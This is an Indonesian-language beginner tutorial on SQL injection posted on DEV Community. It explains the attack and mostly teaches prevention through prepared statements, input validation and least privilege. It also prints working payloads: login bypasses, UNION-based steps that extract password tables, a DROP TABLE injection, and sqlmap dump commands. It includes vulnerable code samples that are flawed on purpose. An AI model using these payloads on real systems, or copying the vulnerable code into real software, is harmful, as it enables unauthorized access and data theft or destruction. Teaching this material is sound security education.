DEV Community

Cover image for Tutorial SQL Injection: Panduan Lengkap untuk Pemula
ahmadasroni38
ahmadasroni38

Posted on

Tutorial SQL Injection: Panduan Lengkap untuk Pemula

Daftar Isi

  1. Pengenalan SQL Injection
  2. Apa itu SQL Injection?
  3. Mengapa SQL Injection Berbahaya?
  4. Cara Kerja SQL Injection
  5. Jenis-Jenis SQL Injection
  6. Contoh Kasus Nyata
  7. Cara Mencegah SQL Injection
  8. Latihan Praktis
  9. Quiz dan Jawaban

Pengenalan SQL Injection

SQL Injection adalah salah satu kerentanan keamanan web yang paling umum dan berbahaya. Menurut OWASP (Open Web Application Security Project), SQL Injection masih berada di posisi teratas dalam daftar kerentanan aplikasi web.

Mengapa Harus Mempelajari SQL Injection?

  • Untuk Developer: Memahami cara kerja SQL Injection membantu Anda menulis kode yang lebih aman
  • Untuk Security Analyst: Penting untuk mengidentifikasi dan mencegah serangan
  • Untuk Mahasiswa: Pengetahuan fundamental dalam keamanan aplikasi web

Apa itu SQL Injection?

SQL Injection adalah teknik serangan di mana penyerang menyisipkan (inject) kode SQL berbahaya ke dalam input aplikasi web untuk memanipulasi database.

Analogi Sederhana

Bayangkan Anda pergi ke bank dan kasir bertanya:

  • Kasir: "Siapa nama Anda?"
  • Anda: "John"

Kasir kemudian mencari di buku: "Cari rekening atas nama John"

Tapi bayangkan jika Anda menjawab:

  • Anda: "John ATAU 1=1"

Kasir mencari: "Cari rekening atas nama John ATAU 1=1"

Karena 1=1 selalu benar, kasir akan memberikan SEMUA data rekening kepada Anda!

Itulah konsep dasar SQL Injection.


Mengapa SQL Injection Berbahaya?

SQL Injection dapat menyebabkan:

  1. Pencurian Data

    • Username dan password
    • Data pribadi pelanggan
    • Informasi kartu kredit
    • Data bisnis rahasia
  2. Manipulasi Data

    • Mengubah harga produk
    • Mengubah saldo rekening
    • Menghapus data penting
  3. Bypass Authentication

    • Login tanpa password yang benar
    • Akses ke akun admin
  4. Pengambilalihan Sistem

    • Menjalankan perintah sistem
    • Menginstall backdoor
    • Kontrol penuh atas server

Cara Kerja SQL Injection

Contoh Kode Rentan

Mari kita lihat contoh login sederhana yang rentan:

<?php
// KODE RENTAN - JANGAN GUNAKAN!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($connection, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Login berhasil!";
} else {
    echo "Login gagal!";
}
?>
Enter fullscreen mode Exit fullscreen mode

Serangan Normal

Input Normal:

  • Username: admin
  • Password: password123

Query yang terbentuk:

SELECT * FROM users WHERE username='admin' AND password='password123'
Enter fullscreen mode Exit fullscreen mode

Hasil: Login berhasil jika username dan password cocok ✅

Serangan SQL Injection

Input Berbahaya:

  • Username: admin' --
  • Password: apa saja

Query yang terbentuk:

SELECT * FROM users WHERE username='admin' -- ' AND password='apa saja'
Enter fullscreen mode Exit fullscreen mode

Mari kita analisis:

  • admin' menutup string username
  • -- adalah komentar SQL yang mengabaikan semua yang ada setelahnya
  • Bagian AND password='apa saja' diabaikan!

Query yang dieksekusi sebenarnya:

SELECT * FROM users WHERE username='admin'
Enter fullscreen mode Exit fullscreen mode

Hasil: Login berhasil TANPA perlu password! ❌


Jenis-Jenis SQL Injection

1. In-Band SQL Injection

Penyerang dapat melihat hasil serangan langsung di halaman yang sama.

a) Error-Based SQL Injection

Memanfaatkan pesan error database untuk mendapatkan informasi.

Contoh:

Input: ' OR 1=1 --
Query: SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password=''
Enter fullscreen mode Exit fullscreen mode

b) Union-Based SQL Injection

Menggunakan operator UNION untuk menggabungkan hasil query.

Contoh:

' UNION SELECT NULL, username, password FROM users --
Enter fullscreen mode Exit fullscreen mode

2. Blind SQL Injection

Penyerang tidak dapat melihat hasil langsung, tapi bisa menebak dari perilaku aplikasi.

a) Boolean-Based Blind

Contoh:

' AND 1=1 --  (halaman normal)
' AND 1=2 --  (halaman berbeda/error)
Enter fullscreen mode Exit fullscreen mode

b) Time-Based Blind

Contoh:

' OR SLEEP(5) --
Enter fullscreen mode Exit fullscreen mode

Jika halaman loading 5 detik, berarti rentan!

3. Out-of-Band SQL Injection

Data dikirim ke server eksternal yang dikontrol penyerang.


Contoh Kasus Nyata

Kasus 1: Login Bypass Sederhana

Aplikasi Login:

# KODE RENTAN
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
Enter fullscreen mode Exit fullscreen mode

Serangan:

  • Username: ' OR '1'='1
  • Password: ' OR '1'='1

Query hasil:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
Enter fullscreen mode Exit fullscreen mode

Karena '1'='1' selalu TRUE, query mengembalikan semua user!

Kasus 2: Ekstraksi Data dengan UNION

URL Rentan:

http://example.com/product.php?id=5
Enter fullscreen mode Exit fullscreen mode

Query di belakang:

SELECT name, price, description FROM products WHERE id=5
Enter fullscreen mode Exit fullscreen mode

Serangan:

http://example.com/product.php?id=5 UNION SELECT username, password, email FROM users --
Enter fullscreen mode Exit fullscreen mode

Query hasil:

SELECT name, price, description FROM products WHERE id=5
UNION SELECT username, password, email FROM users --
Enter fullscreen mode Exit fullscreen mode

Hasil: Data produk DAN data user ditampilkan!

Kasus 3: Mengetahui Struktur Database

Langkah 1: Cek jumlah kolom

' ORDER BY 1 --  (berhasil)
' ORDER BY 2 --  (berhasil)
' ORDER BY 3 --  (berhasil)
' ORDER BY 4 --  (error)
Enter fullscreen mode Exit fullscreen mode

Kesimpulan: Tabel memiliki 3 kolom

Langkah 2: Cek tipe data kolom

' UNION SELECT NULL, NULL, NULL --  (berhasil)
' UNION SELECT 'a', NULL, NULL --  (berhasil = kolom 1 string)
' UNION SELECT 'a', 'b', NULL --  (berhasil = kolom 2 string)
Enter fullscreen mode Exit fullscreen mode

Langkah 3: Ekstrak nama database

' UNION SELECT NULL, database(), NULL --
Enter fullscreen mode Exit fullscreen mode

Langkah 4: Ekstrak nama tabel

' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database() --
Enter fullscreen mode Exit fullscreen mode

Langkah 5: Ekstrak nama kolom

' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
Enter fullscreen mode Exit fullscreen mode

Langkah 6: Ekstrak data

' UNION SELECT NULL, username, password FROM users --
Enter fullscreen mode Exit fullscreen mode

Cara Mencegah SQL Injection

1. Prepared Statements (Parameterized Queries) ⭐ TERBAIK!

PHP (PDO):

<?php
// KODE AMAN ✅
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
?>
Enter fullscreen mode Exit fullscreen mode

Python:

# KODE AMAN ✅
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
Enter fullscreen mode Exit fullscreen mode

Java:

// KODE AMAN ✅
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Enter fullscreen mode Exit fullscreen mode

Node.js:

// KODE AMAN ✅
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results) => {
    // handle results
});
Enter fullscreen mode Exit fullscreen mode

2. Validasi dan Sanitasi Input

<?php
// Validasi tipe data
if (!is_numeric($id)) {
    die("Invalid ID");
}

// Whitelist karakter yang diizinkan
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Invalid username format");
}

// Escape karakter khusus (tidak disarankan sebagai metode utama)
$username = mysqli_real_escape_string($connection, $username);
?>
Enter fullscreen mode Exit fullscreen mode

3. Least Privilege Principle

-- Jangan gunakan akun root/admin untuk aplikasi
-- Buat user database dengan hak akses terbatas

CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webapp'@'localhost';
-- JANGAN berikan DROP, CREATE, atau hak admin
Enter fullscreen mode Exit fullscreen mode

4. Stored Procedures

-- Buat stored procedure
DELIMITER //
CREATE PROCEDURE LoginUser(IN user VARCHAR(50), IN pass VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = user AND password = pass;
END //
DELIMITER ;
Enter fullscreen mode Exit fullscreen mode
<?php
// Panggil dari aplikasi
$stmt = $pdo->prepare("CALL LoginUser(?, ?)");
$stmt->execute([$username, $password]);
?>
Enter fullscreen mode Exit fullscreen mode

5. ORM (Object-Relational Mapping)

# Django ORM - AMAN ✅
user = User.objects.filter(username=username, password=password).first()
Enter fullscreen mode Exit fullscreen mode
// Sequelize - AMAN ✅
const user = await User.findOne({
    where: {
        username: username,
        password: password
    }
});
Enter fullscreen mode Exit fullscreen mode

6. Web Application Firewall (WAF)

  • ModSecurity
  • Cloudflare WAF
  • AWS WAF
  • Azure WAF

7. Security Headers dan Best Practices

<?php
// Nonaktifkan error display di production
ini_set('display_errors', 0);
error_reporting(0);

// Log error ke file
ini_set('log_errors', 1);
ini_set('error_log', '/path/to/error.log');
?>
Enter fullscreen mode Exit fullscreen mode

Latihan Praktis

Latihan 1: Identifikasi Kode Rentan

Soal: Mana kode yang RENTAN terhadap SQL Injection?

Kode A:

$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
Enter fullscreen mode Exit fullscreen mode

Kode B:

$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);
Enter fullscreen mode Exit fullscreen mode

Kode C:

$search = $_POST['search'];
$query = "SELECT * FROM articles WHERE title LIKE '%$search%'";
Enter fullscreen mode Exit fullscreen mode

Kode D:

user_id = request.args.get('id')
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Enter fullscreen mode Exit fullscreen mode

Jawaban:

  • Kode A: ❌ RENTAN (tidak ada validasi, langsung masuk ke query)
  • Kode B: ✅ AMAN (menggunakan prepared statement)
  • Kode C: ❌ RENTAN (input langsung ke query dengan LIKE)
  • Kode D: ✅ AMAN (menggunakan parameterized query)

Latihan 2: Analisis Serangan

Scenario:

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username='$username'";
Enter fullscreen mode Exit fullscreen mode

Input yang diberikan:

admin' OR '1'='1' --
Enter fullscreen mode Exit fullscreen mode

Pertanyaan:

  1. Query apa yang akan terbentuk?
  2. Apa yang akan terjadi?
  3. Bagaimana cara memperbaikinya?

Jawaban:

  1. Query yang terbentuk:
   SELECT * FROM users WHERE username='admin' OR '1'='1' --'
Enter fullscreen mode Exit fullscreen mode
  1. Yang akan terjadi:

    • Kondisi username='admin' dicek
    • ATAU '1'='1' (selalu TRUE)
    • Karena menggunakan OR dan salah satu kondisi TRUE, query mengembalikan SEMUA user
    • Komentar -- mengabaikan sisa query
    • Attacker bisa login tanpa password!
  2. Cara memperbaiki:

   // Gunakan Prepared Statement
   $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
   $stmt->execute([$username]);
Enter fullscreen mode Exit fullscreen mode

Latihan 3: Perbaiki Kode Rentan

Kode Rentan:

def search_products(search_term):
    query = f"SELECT * FROM products WHERE name LIKE '%{search_term}%'"
    cursor.execute(query)
    return cursor.fetchall()
Enter fullscreen mode Exit fullscreen mode

Tugas: Perbaiki kode di atas agar aman dari SQL Injection!

Solusi:

def search_products(search_term):
    # Menggunakan parameterized query
    query = "SELECT * FROM products WHERE name LIKE %s"
    # Tambahkan % di parameter, bukan di query
    search_pattern = f"%{search_term}%"
    cursor.execute(query, (search_pattern,))
    return cursor.fetchall()
Enter fullscreen mode Exit fullscreen mode

Latihan 4: Testing untuk SQL Injection

Daftar input untuk testing:

  1. Single Quote Test:
   '
   ''
   `
Enter fullscreen mode Exit fullscreen mode
  1. Boolean-Based:
   ' OR '1'='1
   ' OR '1'='1' --
   ' OR 1=1 --
   admin' --
Enter fullscreen mode Exit fullscreen mode
  1. UNION-Based:
   ' UNION SELECT NULL --
   ' UNION SELECT NULL, NULL --
   ' UNION SELECT NULL, NULL, NULL --
Enter fullscreen mode Exit fullscreen mode
  1. Time-Based:
   ' OR SLEEP(5) --
   '; WAITFOR DELAY '00:00:05' --
Enter fullscreen mode Exit fullscreen mode
  1. Error-Based:
   '
   ''
   `
   "
   \
Enter fullscreen mode Exit fullscreen mode

Tugas:
Buat checklist untuk menguji aplikasi web Anda:

  • [ ] Test semua form input
  • [ ] Test semua parameter URL
  • [ ] Test semua cookie values
  • [ ] Test dengan karakter khusus: ' " ; -- #
  • [ ] Cek apakah error message menampilkan info database
  • [ ] Verifikasi menggunakan prepared statements
  • [ ] Review semua query yang dinamis

Latihan 5: Bangun Form Login Aman

Tugas: Buat form login yang aman dari SQL Injection

Solusi Lengkap:

<?php
// config.php
$host = 'localhost';
$dbname = 'myapp';
$username = 'webapp';
$password = 'secure_password';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
} catch(PDOException $e) {
    error_log("Connection failed: " . $e->getMessage());
    die("Database connection error");
}

// login.php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    // Validasi input
    if (empty($username) || empty($password)) {
        $error = "Username dan password harus diisi!";
    } else {
        try {
            // Prepared Statement - AMAN! ✅
            $stmt = $pdo->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->execute([$username]);
            $user = $stmt->fetch(PDO::FETCH_ASSOC);

            // Verifikasi password (gunakan password_hash dan password_verify)
            if ($user && password_verify($password, $user['password'])) {
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                header('Location: dashboard.php');
                exit;
            } else {
                $error = "Username atau password salah!";
            }
        } catch(PDOException $e) {
            error_log("Login error: " . $e->getMessage());
            $error = "Terjadi kesalahan sistem";
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Login Aman</title>
</head>
<body>
    <h2>Login</h2>
    <?php if (isset($error)): ?>
        <p style="color: red;"><?= htmlspecialchars($error) ?></p>
    <?php endif; ?>

    <form method="POST" action="">
        <label>Username:</label><br>
        <input type="text" name="username" required><br><br>

        <label>Password:</label><br>
        <input type="password" name="password" required><br><br>

        <button type="submit">Login</button>
    </form>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

Penjelasan keamanan:

  1. ✅ Menggunakan PDO dengan Prepared Statements
  2. ✅ Validasi input tidak kosong
  3. ✅ Password di-hash dengan password_hash()
  4. ✅ Error tidak menampilkan detail teknis
  5. ✅ Session management yang benar
  6. ✅ XSS prevention dengan htmlspecialchars()

Quiz dan Jawaban

Quiz 1: Multiple Choice

1. Apa yang dimaksud dengan SQL Injection?

  • A. Injeksi obat ke dalam SQL
  • B. Memasukkan kode SQL berbahaya ke dalam input aplikasi
  • C. Menghapus database
  • D. Membuat database baru

Jawaban: B


2. Mana yang merupakan contoh input SQL Injection?

  • A. admin
  • B. password123
  • C. ' OR '1'='1' --
  • D. user@email.com

Jawaban: C


3. Metode terbaik untuk mencegah SQL Injection adalah:

  • A. Menonaktifkan SQL
  • B. Menggunakan Prepared Statements
  • C. Menyembunyikan error message
  • D. Menggunakan password yang kuat

Jawaban: B


4. Apa fungsi dari -- dalam SQL Injection?

  • A. Mengurangi nilai
  • B. Membuat komentar (mengabaikan sisa query)
  • C. Membagi nilai
  • D. Menambah nilai

Jawaban: B


5. Kode mana yang AMAN dari SQL Injection?

  • A. query = "SELECT * FROM users WHERE id=" + user_id
  • B. query = f"SELECT * FROM users WHERE id={user_id}"
  • C. stmt.execute("SELECT * FROM users WHERE id=?", [user_id])
  • D. query = "SELECT * FROM users WHERE id='$user_id'"

Jawaban: C


Quiz 2: True or False

1. SQL Injection hanya bisa dilakukan pada form login.

  • ❌ FALSE
  • Penjelasan: SQL Injection bisa dilakukan pada semua input yang digunakan dalam query SQL (URL parameters, cookies, headers, dll)

2. Menggunakan mysqli_real_escape_string() sudah cukup untuk mencegah SQL Injection.

  • ❌ FALSE
  • Penjelasan: Escape string tidak sepenuhnya aman. Prepared statements adalah metode terbaik.

3. SQL Injection bisa digunakan untuk mengambil seluruh data dari database.

  • ✅ TRUE
  • Penjelasan: Dengan teknik UNION injection, attacker bisa mengekstrak semua data.

4. Error message yang detail membantu attacker melakukan SQL Injection.

  • ✅ TRUE
  • Penjelasan: Error message bisa memberikan informasi tentang struktur database.

5. Stored procedures selalu aman dari SQL Injection.

  • ❌ FALSE
  • Penjelasan: Stored procedures bisa rentan jika di dalamnya menggunakan dynamic SQL yang tidak aman.

Quiz 3: Analisis Kasus

Kasus:

<?php
$email = $_GET['email'];
$query = "DELETE FROM users WHERE email='$email'";
mysqli_query($connection, $query);
echo "User deleted successfully!";
?>
Enter fullscreen mode Exit fullscreen mode

Pertanyaan:

  1. Apa kerentanan dalam kode ini?
  2. Apa yang bisa dilakukan attacker?
  3. Bagaimana memperbaikinya?

Jawaban:

  1. Kerentanan:

    • Input $_GET['email'] langsung dimasukkan ke query tanpa validasi
    • Tidak ada autentikasi/autorisasi
    • Tidak menggunakan prepared statement
  2. Yang bisa dilakukan attacker:

Input: anything' OR '1'='1

Query yang terbentuk:

   DELETE FROM users WHERE email='anything' OR '1'='1'
Enter fullscreen mode Exit fullscreen mode

Hasil: SEMUA user di database akan terhapus! 💥

Input lain: test@test.com'; DROP TABLE users; --

Query yang terbentuk:

   DELETE FROM users WHERE email='test@test.com';
   DROP TABLE users; --'
Enter fullscreen mode Exit fullscreen mode

Hasil: Tabel users dihapus! 💥💥

  1. Perbaikan:
   <?php
   session_start();

   // Cek autentikasi
   if (!isset($_SESSION['admin'])) {
       die("Unauthorized");
   }

   $email = $_GET['email'] ?? '';

   // Validasi format email
   if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
       die("Invalid email format");
   }

   // Prepared statement
   $stmt = $pdo->prepare("DELETE FROM users WHERE email = ?");
   $success = $stmt->execute([$email]);

   if ($success) {
       echo "User deleted successfully!";
   } else {
       echo "Failed to delete user";
   }
   ?>
Enter fullscreen mode Exit fullscreen mode

Latihan Tambahan: Lab Virtual

Lab 1: Login Bypass

Setup database:

CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50),
    password VARCHAR(50),
    role VARCHAR(20)
);

INSERT INTO users VALUES
(1, 'admin', 'admin123', 'administrator'),
(2, 'user', 'user123', 'member');
Enter fullscreen mode Exit fullscreen mode

Kode login rentan:

<?php
$user = $_POST['username'];
$pass = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
?>
Enter fullscreen mode Exit fullscreen mode

Tugas:

  1. Coba login dengan kredensial normal
  2. Coba berbagai payload SQL Injection:
    • admin' --
    • ' OR '1'='1' --
    • admin' OR '1'='1' --
  3. Analisis query yang terbentuk
  4. Perbaiki kode agar aman

Lab 2: Data Extraction

URL:

http://example.com/news.php?id=1
Enter fullscreen mode Exit fullscreen mode

Query:

SELECT title, content, author FROM news WHERE id=$id
Enter fullscreen mode Exit fullscreen mode

Tugas:

  1. Tentukan jumlah kolom dengan ORDER BY
  2. Gunakan UNION untuk ekstrak data
  3. Dapatkan nama database
  4. Dapatkan nama tabel
  5. Ekstrak data dari tabel users

Solusi:

-- Step 1: Cek jumlah kolom
?id=1 ORDER BY 1 --
?id=1 ORDER BY 2 --
?id=1 ORDER BY 3 --
?id=1 ORDER BY 4 -- (error = 3 kolom)

-- Step 2: UNION injection
?id=1 UNION SELECT NULL, NULL, NULL --

-- Step 3: Cek tipe data
?id=1 UNION SELECT 'a', 'b', 'c' --

-- Step 4: Ekstrak database name
?id=1 UNION SELECT NULL, database(), NULL --

-- Step 5: Ekstrak tabel names
?id=1 UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database() --

-- Step 6: Ekstrak kolom names
?id=1 UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --

-- Step 7: Ekstrak data
?id=1 UNION SELECT NULL, username, password FROM users --
Enter fullscreen mode Exit fullscreen mode

Checklist Keamanan

Gunakan checklist ini untuk memastikan aplikasi Anda aman:

Development Phase

  • [ ] Semua query menggunakan Prepared Statements atau Parameterized Queries
  • [ ] Tidak ada string concatenation untuk membuat query SQL
  • [ ] Input validation diterapkan (whitelist, regex, type checking)
  • [ ] Error messages tidak menampilkan detail teknis
  • [ ] Database user memiliki hak akses minimal (least privilege)
  • [ ] Password di-hash dengan algoritma yang kuat (bcrypt, argon2)
  • [ ] Menggunakan ORM dengan benar (hindari raw queries)

Testing Phase

  • [ ] Manual testing dengan payload SQL Injection
  • [ ] Automated scanning dengan tools (SQLMap, Burp Suite)
  • [ ] Code review oleh tim security
  • [ ] Penetration testing
  • [ ] Unit tests untuk validasi input

Production Phase

  • [ ] WAF (Web Application Firewall) aktif
  • [ ] Database di-backup secara rutin
  • [ ] Monitoring dan logging untuk aktivitas mencurigakan
  • [ ] Security headers dikonfigurasi dengan benar
  • [ ] Regular security updates dan patches

Tools untuk Testing SQL Injection

1. SQLMap (Otomatis)

# Basic scan
sqlmap -u "http://example.com/page.php?id=1"

# Dengan cookie
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=abc123"

# Ekstrak database
sqlmap -u "http://example.com/page.php?id=1" --dbs

# Ekstrak tabel
sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables

# Dump data
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T users --dump
Enter fullscreen mode Exit fullscreen mode

2. Burp Suite

  • Intercept requests
  • Modify parameters
  • Automated scanning
  • Intruder for fuzzing

3. OWASP ZAP

  • Free alternative untuk Burp
  • Automated scanning
  • Manual testing tools

4. Manual Testing dengan Browser

  • Developer tools (F12)
  • Edit parameters di URL
  • Modify form data
  • Check response

Resources Tambahan

Websites untuk Belajar

  1. OWASP - https://owasp.org/www-community/attacks/SQL_Injection
  2. PortSwigger Web Security Academy - Free labs untuk praktik
  3. HackerOne - Bug bounty platform
  4. TryHackMe - Interactive learning
  5. HackTheBox - Pentesting labs

Vulnerable Apps untuk Praktik

  1. DVWA (Damn Vulnerable Web Application)
  2. bWAPP (buggy Web Application)
  3. WebGoat (OWASP)
  4. Mutillidae
  5. SQLi-Labs

Books

  1. "The Web Application Hacker's Handbook"
  2. "SQL Injection Attacks and Defense"
  3. "OWASP Testing Guide"

Kesimpulan

Key Takeaways:

  1. SQL Injection adalah ancaman serius yang bisa mengakibatkan pencurian data, manipulasi data, dan pengambilalihan sistem.

  2. Prepared Statements adalah solusi terbaik untuk mencegah SQL Injection. Selalu gunakan parameterized queries!

  3. Defense in Depth: Gunakan multiple layers of security:

    • Input validation
    • Prepared statements
    • Least privilege
    • WAF
    • Monitoring
  4. Never trust user input: Selalu validasi dan sanitasi semua input dari user.

  5. Keep learning: Security adalah proses berkelanjutan, bukan tujuan akhir.

Prinsip Emas:

🛡️ JANGAN:
❌ String concatenation untuk query
❌ Dynamic SQL tanpa parameterization
❌ Trust user input
❌ Display detailed error messages
❌ Use admin accounts untuk aplikasi

✅ LAKUKAN:
✅ Prepared Statements SELALU
✅ Input validation
✅ Least privilege principle
✅ Regular security testing
✅ Keep systems updated
Enter fullscreen mode Exit fullscreen mode

Penutup

SQL Injection mungkin terlihat menakutkan, tapi dengan pemahaman yang baik dan penerapan best practices, Anda bisa melindungi aplikasi Anda dengan efektif.

Ingat:

  • Belajar tentang SQL Injection untuk melindungi, bukan untuk menyerang
  • Gunakan pengetahuan ini secara etis dan legal
  • Praktik pada environment yang legal (lab sendiri, CTF, bug bounty programs dengan izin)
  • Selalu update pengetahuan keamanan Anda

Happy Secure Coding! 🔒


Disclaimer: Tutorial ini dibuat untuk tujuan edukasi dan awareness keamanan. Penggunaan teknik SQL Injection tanpa izin pada sistem yang bukan milik Anda adalah ILEGAL dan dapat dikenai sanksi hukum. Selalu gunakan pengetahuan ini secara bertanggung jawab dan etis.

Top comments (0)